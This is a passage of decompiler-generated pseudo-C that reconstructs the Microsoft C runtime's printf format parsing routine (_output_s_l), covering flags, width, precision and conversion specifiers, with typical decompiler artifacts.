																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435648; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435630))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435670; // 0x4e7e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043565C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428400(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xd5b65caa
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0xd44284aa
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xd44114aa
																							E00424760(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428400(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428440(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
																			__eax = E00433FB0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
